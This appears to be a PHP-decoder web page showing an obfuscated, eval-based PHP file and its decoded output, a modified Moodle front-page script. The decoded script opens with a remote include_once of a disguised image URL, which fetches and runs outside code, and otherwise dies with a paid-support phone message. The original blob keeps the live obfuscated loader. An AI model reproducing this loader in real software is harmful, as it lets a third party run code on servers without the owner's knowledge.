Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* Sourceguardinan V. 10.1.6 */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%..
Decoded Output download
(@include_once ('https://tpgsmartclass.wordpress.com/wp-content/uploads/2024/06/04.jpg')) OR die("<h1>Check Internet Connection <br/><a href='ms-settings:dateandtime'>Click Here</a> and Turn On & Off Set Date Automatically. <br/><a href='error.mp4' target='_blank'>Click on the link Given to view Video on How to solve this Error</a> or <br/> Contact for Technical Support Mr. Vipin Yadav +919669893602 OR +918349109974</br>Thankyou</h1>");
if (!file_exists('./config.php')) {
header('Location: install.php');
die;
}
require_once('config.php');
require_once($CFG->dirroot .'/course/lib.php');
require_once($CFG->libdir .'/filelib.php');
redirect_if_major_upgrade_required();
if ($CFG->forcelogin) {
require_login();
}else {
user_accesstime_log();
}
$PAGE->set_url('/');
$PAGE->set_course($SITE);
$caneditsite = optional_param('caneditsite',-1,PARAM_BOOL);
if (can_edit_on_siteindex()) {
if ($caneditsite !== -1) {
$USER->editing = $caneditsite;
}
$adminediting = $PAGE->user_is_editing();
}else {
if ($CFG->forcelogin) {
require_login();
}
$adminediting = false;
}
if (isloggedin()) {
$count = $DB->count_records('log');
$parr = explode('/',$CFG->wwwroot);$sitefoldername = $parr[count($parr)-1];if($sitefoldername == ''){$sitefoldername = $parr[count($parr)-2];}
if($count == 1){
$firstcourse = 1;
$firstcoursesection = 100;
$cousesections = $DB->get_records('course_sections',array('course'=>$firstcourse,'section'=>$firstcoursesection));
$sql = "SELECT * FROM {modules} WHERE name='url'";
$module = $DB->get_record_sql($sql);
if($cousesections &&$module){
foreach($cousesections as $cs){
$csequence = explode(',',$cs->sequence);
if($csequence){
foreach($csequence as $cq){
$cm = $DB->get_record('course_modules',array('id'=>$cq));
if($cm->module == $module->id){
$objurl = $DB->get_record('url',array('id'=>$cm->instance));
if($objurl){
$urlpath = explode($sitefoldername,$objurl->externalurl);
if(isset($urlpath[1])){
$objurl->externalurl = $CFG->wwwroot.$urlpath[1];
$DB->update_record('url',$objurl);
}
}
}
}
}
}
}
}
add_to_log(SITEID,'course','view','view.php?id='.SITEID,SITEID);
}
redirect($CFG->wwwroot.'/blocks/sch_menu/courseview.php');
if (!empty($CFG->maintenance_enabled) and !has_capability('moodle/site:config',get_context_instance(CONTEXT_SYSTEM))) {
print_maintenance_message();
}
if (has_capability('moodle/site:config',get_context_instance(CONTEXT_SYSTEM))) {
if (moodle_needs_upgrading()) {
redirect($CFG->wwwroot .'/'.$CFG->admin .'/index.php');
}
}else if (get_home_page() != HOMEPAGE_SITE) {
if (optional_param('setdefaulthome',false,PARAM_BOOL)) {
set_user_preference('user_home_page_preference',HOMEPAGE_SITE);
}else if ($CFG->defaulthomepage == HOMEPAGE_MY &&optional_param('redirect',true,PARAM_BOOL)) {
redirect($CFG->wwwroot .'/my/');
}else if (!empty($CFG->defaulthomepage) &&$CFG->defaulthomepage == HOMEPAGE_USER) {
$PAGE->settingsnav->get('usercurrentsettings')->add(get_string('makethismyhome'),new moodle_url('/',array('setdefaulthome'=>true)),navigation_node::TYPE_SETTING);
}
}
if (get_config('local_hub','hubenabled') &&file_exists($CFG->dirroot.'/local/hub/lib.php')) {
require_once($CFG->dirroot.'/local/hub/lib.php');
$hub = new local_hub();
$continue = $hub->display_homepage();
if (empty($continue)) {
exit;
}
}
$PAGE->set_pagetype('site-index');
$PAGE->set_other_editing_capability('moodle/course:manageactivities');
$PAGE->set_docs_path('');
$PAGE->set_pagelayout('frontpage');
$editing = $PAGE->user_is_editing();
$PAGE->set_title($SITE->fullname);
$PAGE->set_heading($SITE->fullname);
$PAGE->set_button(update_siteedit_button());
echo $OUTPUT->header();
if (!empty($CFG->customfrontpageinclude)) {
include($CFG->customfrontpageinclude);
}else if ($SITE->numsections >0) {
if (!$section = $DB->get_record('course_sections',array('course'=>$SITE->id,'section'=>1))) {
$DB->delete_records('course_sections',array('course'=>$SITE->id,'section'=>1));
$section->course = $SITE->id;
$section->section = 1;
$section->summary = '';
$section->summaryformat = FORMAT_HTML;
$section->sequence = '';
$section->visible = 1;
$section->id = $DB->insert_record('course_sections',$section);
}
if (!empty($section->sequence) or !empty($section->summary) or $editing) {
echo $OUTPUT->box_start('generalbox sitetopic');
if (ismoving($SITE->id)) {
$stractivityclipboard = strip_tags(get_string('activityclipboard','',$USER->activitycopyname));
echo '<p><font size="2">';
echo "$stractivityclipboard (<a href=\"course/mod.php?cancelcopy=true&sesskey=".sesskey()."\">".get_string('cancel') .'</a>)';
echo '</font></p>';
}
$context = get_context_instance(CONTEXT_COURSE,SITEID);
$summarytext = file_rewrite_pluginfile_urls($section->summary,'pluginfile.php',$context->id,'course','section',$section->id);
$summaryformatoptions = new stdClass();
$summaryformatoptions->noclean = true;
$summaryformatoptions->overflowdiv = true;
echo format_text($summarytext,$section->summaryformat,$summaryformatoptions);
if ($editing) {
$streditsummary = get_string('editsummary');
echo "<a title=\"$streditsummary\" ".
" href=\"course/editsection.php?id=$section->id\"><img src=\"".$OUTPUT->pix_url('t/edit') ."\" ".
" class=\"iconsmall\" alt=\"$streditsummary\" /></a><br /><br />";
}
get_all_mods($SITE->id,$mods,$modnames,$modnamesplural,$modnamesused);
print_section($SITE,$section,$mods,$modnamesused,true);
if ($editing) {
print_section_add_menus($SITE,$section->section,$modnames);
}
echo $OUTPUT->box_end();
}
}
if (isloggedin() and !isguestuser() and isset($CFG->frontpageloggedin)) {
$frontpagelayout = $CFG->frontpageloggedin;
}else {
$frontpagelayout = $CFG->frontpage;
}
foreach (explode(',',$frontpagelayout) as $v) {
switch ($v) {
case FRONTPAGENEWS:
if ($SITE->newsitems) {
require_once($CFG->dirroot .'/mod/forum/lib.php');
if (!$newsforum = forum_get_course_forum($SITE->id,'news')) {
print_error('cannotfindorcreateforum','forum');
}
$newsforumcm = get_coursemodule_from_instance('forum',$newsforum->id,$SITE->id,false,MUST_EXIST);
$newsforumcontext = get_context_instance(CONTEXT_MODULE,$newsforumcm->id,MUST_EXIST);
$forumname = format_string($newsforum->name,true,array('context'=>$newsforumcontext));
echo html_writer::tag('a',get_string('skipa','access',moodle_strtolower(strip_tags($forumname))),array('href'=>'#skipsitenews','class'=>'skip-block'));
if (isloggedin()) {
$SESSION->fromdiscussion = $CFG->wwwroot;
$subtext = '';
if (forum_is_subscribed($USER->id,$newsforum)) {
if (!forum_is_forcesubscribed($newsforum)) {
$subtext = get_string('unsubscribe','forum');
}
}else {
$subtext = get_string('subscribe','forum');
}
echo $OUTPUT->heading($forumname,2,'headingblock header');
$suburl = new moodle_url('/mod/forum/subscribe.php',array('id'=>$newsforum->id,'sesskey'=>sesskey()));
echo html_writer::tag('div',html_writer::link($suburl,$subtext),array('class'=>'subscribelink'));
}else {
echo $OUTPUT->heading($forumname,2,'headingblock header');
}
forum_print_latest_discussions($SITE,$newsforum,$SITE->newsitems,'plain','p.modified DESC');
echo html_writer::tag('span','',array('class'=>'skip-block-to','id'=>'skipsitenews'));
}
break;
case FRONTPAGECOURSELIST:
if (isloggedin() and !has_capability('moodle/site:config',get_context_instance(CONTEXT_SYSTEM)) and !isguestuser() and empty($CFG->disablemycourses)) {
echo html_writer::tag('a',get_string('skipa','access',moodle_strtolower(get_string('mycourses'))),array('href'=>'#skipmycourses','class'=>'skip-block'));
echo $OUTPUT->heading(get_string('mycourses'),2,'headingblock header');
print_my_moodle();
echo html_writer::tag('span','',array('class'=>'skip-block-to','id'=>'skipmycourses'));
}else if ((!has_capability('moodle/site:config',get_context_instance(CONTEXT_SYSTEM)) and !isguestuser()) or ($DB->count_records('course') <= FRONTPAGECOURSELIMIT)) {
echo html_writer::tag('a',get_string('skipa','access',moodle_strtolower(get_string('availablecourses'))),array('href'=>'#skipavailablecourses','class'=>'skip-block'));
echo $OUTPUT->heading(get_string('availablecourses'),2,'headingblock header');
print_courses(0);
echo html_writer::tag('span','',array('class'=>'skip-block-to','id'=>'skipavailablecourses'));
}
break;
case FRONTPAGECATEGORYNAMES:
echo html_writer::tag('a',get_string('skipa','access',moodle_strtolower(get_string('categories'))),array('href'=>'#skipcategories','class'=>'skip-block'));
echo $OUTPUT->heading(get_string('categories'),2,'headingblock header');
echo $OUTPUT->box_start('generalbox categorybox');
print_whole_category_list(NULL,NULL,NULL,-1,false);
echo $OUTPUT->box_end();
print_course_search('',false,'short');
echo html_writer::tag('span','',array('class'=>'skip-block-to','id'=>'skipcategories'));
break;
case FRONTPAGECATEGORYCOMBO:
echo html_writer::tag('a',get_string('skipa','access',moodle_strtolower(get_string('courses'))),array('href'=>'#skipcourses','class'=>'skip-block'));
echo $OUTPUT->heading(get_string('courses'),2,'headingblock header');
$renderer = $PAGE->get_renderer('core','course');
$coursecount = $DB->count_records('course');
if (empty($CFG->numcoursesincombo)) {
$CFG->numcoursesincombo = 500;
}
if ($coursecount >$CFG->numcoursesincombo) {
$link = new moodle_url('/course/');
echo $OUTPUT->notification(get_string('maxnumcoursesincombo','moodle',array('link'=>$link->out(),'maxnumofcourses'=>$CFG->numcoursesincombo,'numberofcourses'=>$coursecount)));
}else {
echo $renderer->course_category_tree(get_course_category_tree());
}
print_course_search('',false,'short');
echo html_writer::tag('span','',array('class'=>'skip-block-to','id'=>'skipcourses'));
break;
case FRONTPAGETOPICONLY:
break;
}
echo '<br />';
}
echo $OUTPUT->footer();
;
Did this file decode correctly?
Original Code
<?php /* Sourceguardinan V. 10.1.6 */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x321c;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>~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